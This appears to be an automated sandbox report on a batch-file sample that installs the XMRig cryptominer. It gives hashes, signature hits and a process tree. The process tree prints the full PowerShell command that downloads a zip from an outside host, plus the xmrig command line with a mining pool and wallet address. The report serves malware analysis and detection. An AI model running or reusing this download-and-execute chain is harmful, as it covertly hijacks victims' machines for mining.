Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1793s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
22-10-2023 12:25
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10v2004-20231020-en
General
-
Target
tesy - Copy.bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral14/files/0x0006000000022e24-47.dat family_xmrig behavioral14/files/0x0006000000022e24-47.dat xmrig behavioral14/memory/396-50-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-53-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-56-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-57-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-58-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-59-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-60-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-61-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-62-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-63-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-64-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-65-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-66-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-67-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-68-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-69-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-70-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-71-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-72-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-73-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-74-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-75-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-76-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-77-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-78-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-79-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-80-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-81-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-82-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-83-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-84-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-85-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-86-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-87-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-88-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-89-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-90-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-91-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-92-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-93-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-94-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-95-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-96-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-97-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-98-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-99-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-100-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-101-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-102-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-103-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-104-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-105-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-106-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-107-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-108-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-109-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-110-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-111-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-112-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-113-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-114-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig behavioral14/memory/396-115-0x00007FF767280000-0x00007FF767D83000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 14 4944 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 396 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4944 powershell.exe 4944 powershell.exe 2288 powershell.exe 2288 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4944 powershell.exe Token: SeDebugPrivilege 2288 powershell.exe Token: SeLockMemoryPrivilege 396 xmrig.exe Token: SeLockMemoryPrivilege 396 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 396 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2868 wrote to memory of 4944 2868 cmd.exe 88 PID 2868 wrote to memory of 4944 2868 cmd.exe 88 PID 2868 wrote to memory of 2288 2868 cmd.exe 90 PID 2868 wrote to memory of 2288 2868 cmd.exe 90 PID 2868 wrote to memory of 4412 2868 cmd.exe 93 PID 2868 wrote to memory of 4412 2868 cmd.exe 93 PID 4412 wrote to memory of 396 4412 cmd.exe 94 PID 4412 wrote to memory of 396 4412 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4944
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:396
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD508f9f3eb63ff567d1ee2a25e9bbf18f0
SHA16bf06056d1bb14c183490caf950e29ac9d73643a
SHA25682147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0
SHA512425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
-
Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa